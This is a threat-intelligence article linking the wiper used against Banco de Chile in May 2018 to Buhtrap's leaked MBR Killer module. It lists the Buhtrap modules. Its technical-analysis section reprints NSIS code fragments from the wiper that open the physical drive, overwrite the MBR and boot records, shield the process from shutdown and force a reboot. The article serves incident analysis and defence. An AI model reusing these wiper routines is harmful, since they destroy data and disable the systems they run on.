Banco de Chile ‘MBR Killer’ Reveals Hidden Nexus to Buhtrap Malware Kit Used to Target Financial Institutions, Payment Networks

Wiper malware that may have destroyed as many as 9,000 workstations and 500 servers inside the Banco de Chile in a late-May attack has similarities to the Buhtrap malware component known as MBR Killer, leaked to the underground in February 2016.

Analysts at Flashpoint reverse-engineered the identified malware linked to the May 24 attack against the country’s largest financial institution, and said the malware is a modified version of a MBR Killer module known as kill_os. MBR Killer infections render the local operating system and the Master Boot Record unreadable.

According to bank officials, however, the wiper malware was just cover for a deeper attack against endpoints handling sensitive transactions and messaging over the SWIFT network. The SWIFT banking network, or the Society for Worldwide Interbank Financial Telecommunication, is the primary means of secure, reliable communications and money transfers between financial institutions.

On Sunday, Banco de Chile general manager Eduardo Ebensperger said in a statement that customer accounts were not affected, but critical processes such as branch services and telephone banking were impacted, as were executive offices and cashier personnel. Ebensperger told Chilean media outlet Pulso that $10 million was stolen and the stolen funds were filtered to entities in Hong Kong. He added that a forensic analysis conducted by Microsoft concluded this was an “international attack” and attributed it to either Eastern European or Asian groups.

Buhtrap malware and its components, including MBR Killer, were previously used in attacks against multiple Russian financial institutions, resulting in losses of 97 million rubles, or $1.23 million USD. The attacks in Russia forced one bank to disconnect from the Russian electronic payment system.

The attack in Chile comes on the heels of incidents affecting several banks in Mexico that use its Sistema de Pagos Electrónicos Interbancarios (SPEI) interbank transfer system, resulting in approximately $15.4 million USD in losses. In January, Flashpoint was aware of a separate malware attack targeting Mexican financial institutions that followed a pattern similar to previous attacks, with possible attribution to North Korean malware. Flashpoint was not able to analyze the malware targeting Mexican financial institutions, though the FBI associated the attack with North Korean malware. A report from El Financiero, a Mexican financial publication, following the January incident identified the attack as “FALLCHILL,” a North Korean remote administration tool (RAT) targeting aerospace, telecommunications, and financial organizations.

At this time, there does not appear to be a connection between attacks against Mexico’s banking institutions and the purported attack on Banco de Chile because the tactics, techniques, and procedures (TTP) used by the threat actors differ.

The similarities between the malicious code used in Chile and the leaked code from 2016 are in the use of the same NSIS script, below, in both instances. NSIS, or Nullsoft Scriptable Install System, is an open source system used to build Windows installers.

By and large, the Buhtrap malware is complex and includes more than a dozen modules that give attackers the capability to install more malicious code, retain remote control over a compromised machine, and steal credentials among others. A list of available modules follows:

• “BHO”: a module designed to intercept and replace pages in the Internet Explorer browser.

• “kill_os”: a module designed to erase the MBR.

• “Loaders”: builders of NSIS scripts designed to install malware.

• “Mimimod”: a modified version of the “Mimikatz” program, used to obtain user credentials in the system.

• “ID”: an algorithm for obtaining the unique number of the infected machine.

• “BSShide”: a module designed to hide payment orders in the Business Support Systems (BSS). It modifies the page displayed to the user. SWIFT is part of the BSS.

• “Antidetekt”: a module designed to detect virtual environments and “sandboxes.”

• “UAC”: a module to bypass the User Account Control (UAC) protection.

• “RDP”: modifies the OS for the potential simultaneous operation of several users in the system.

• “VNC”: remote PC control with backconnect.

• “DLL Side-Loading”: used to install a keylogger and to provide communication with the control panel. Enables installation and operation of other modules in the system.

• “Control panel”: used to maintain visibility into infections and install additional modules to the infected host.

• “Builder”: a program designed to collect Trojan modules in one executable file.

• “MWI”: a collection of exploits, part of the “Microsoft Word Intruder” tool that was available on underground.

The Banco de Chile MBR Killer was also packed with VMProtect, meant to protect against forensic analysis and reverse engineering. Notably, the malware does not target victims based on locale or language; however, a Spanish language and locale check is present in the malware. The attribution behind the Banco de Chile attack remains uncertain; it is unclear if this code was simply reused by a copycat group or linked to the original group behind the Buhtrap malware. Originally, the kill_os module was leveraged to hide the evidence of successful bank network penetrations.

Banco De Chile: Malware Technical Analysis

The malware is packed with VMProtect/NSIS, and is executed via the System.dll in %TEMP%.

I. Main loop CreateFile API accessing \\.\PHYSICALDRIVE0:

Function main_loop_CreateFile
    IntFmt $1 “\.\PHYSICALDRIVE%D” $0
    Push $0
    StrCpy $0 $1
    System::Call “KERNEL32::CREATEFILE(t, i, i, i, i, i, i) i (‘$0’, ${GENERIC_READ}|${GENERIC_WRITE}, ${FILE_SHARE_READ}|${FILE_SHARE_WRITE}, ${NULL}, ${OPEN_EXISTING}, ${FILE_ATTRIBUTE_NORMAL}, ${NULL}) .r2”
    Pop $0
FunctionEnd

II. Master boot record setup:

!define
STMBR
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i2) i’

III.MBR logical block addressing:

!define
STMBRLBA
‘(&i446, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i1, &i4, &i4, &i2) i’

IV. Volume boot record NTFS:

!define
STVBR_NTFS
‘(&i3, &i8, &i2, &i1, &i2, &i24, &i8, &i8, &i8, &i4) i’

V. Process NTFS boot:

Overwrite MBR
Overwrite Master File Table (MFT) mirror
Overwrite Volume Boot Record (VBR) mirror
Overwrite Extended Boot Record (EBR)
The following system API calls are used to overwrite the system:

${ForEach} $7 1 ${OVERWRITE_COUNT} + 1
    System::Call “kernel32::SETFILEPOINTER(i, i, *p ,i) i (r2, r4, r3, ${FILE_BEGIN}) .r8”
    ${If} $8 <> -1
System::Call “kernel32::WRITEFILE(i, i, i, p, i) i (r2, r5, r9, r6, ${NULL})”
System::Call “kernel32::FlushFileBuffers(i) i (r2)”
    ${EndIf}

VI. Process protection malware from shutdown:

System::Call “KERNEL32::GETMODULEHANDLE(t) p (‘ntdll.dll’) .r0”
${If} $0 <> ${NULL}
    System::Call “KERNEL32::GETPROCADDRESS(p, t) p (r0, ‘ZwClose’) .r1”
    ${If} $1 <> ${NULL}
System::Call “KERNEL32::VIRTUALPROTECT(p, i, i, *i) i (r1, 6, ${PAGE_EXECUTE_READWRITE}, .r2) .r0”
${If} $0 <> 0
    System::Alloc 6
    pop $3
    System::Call “NTDLL::MEMCPY(p, p ,i) i (r3, r1, 6)”
    System::Call “NTDLL::MEMCPY(p, t, i) i (r1, t ‘1′, 6)”
    System::Call “KERNEL32::CLOSEHANDLE(i) i (0x12345678) .r4”
    System::Call “NTDLL::MEMCPY(p, p, i) i (r1, r3, 6)”
    System::Free $3

VII. System shutdown instruction:

ExitWindowsEx_EWX_REBOOT_
    Push $1
    StrCpy $1 ${EWX_REBOOT}|${EWX_FORCE}
    System::Call “USER32::EXITWINDOWSEX(i, i) i ($1, ${SHTDN_REASON_MAJOR_SOFTWARE}|${SHTDN_REASON_MINOR_UPGRADE}) i .r0”
    Pop $1
FunctionEnd

Possible action:

As the MBR Killer codebase was identical with minor modification to the Buhtrap simple MBR Killer, reviewing any mitigation against the Buhtrap malware might assist with mitigation exposure to this threat.
Review and mitigate for any malware execution from %TEMP% directory specifically if it calls “System.dll.”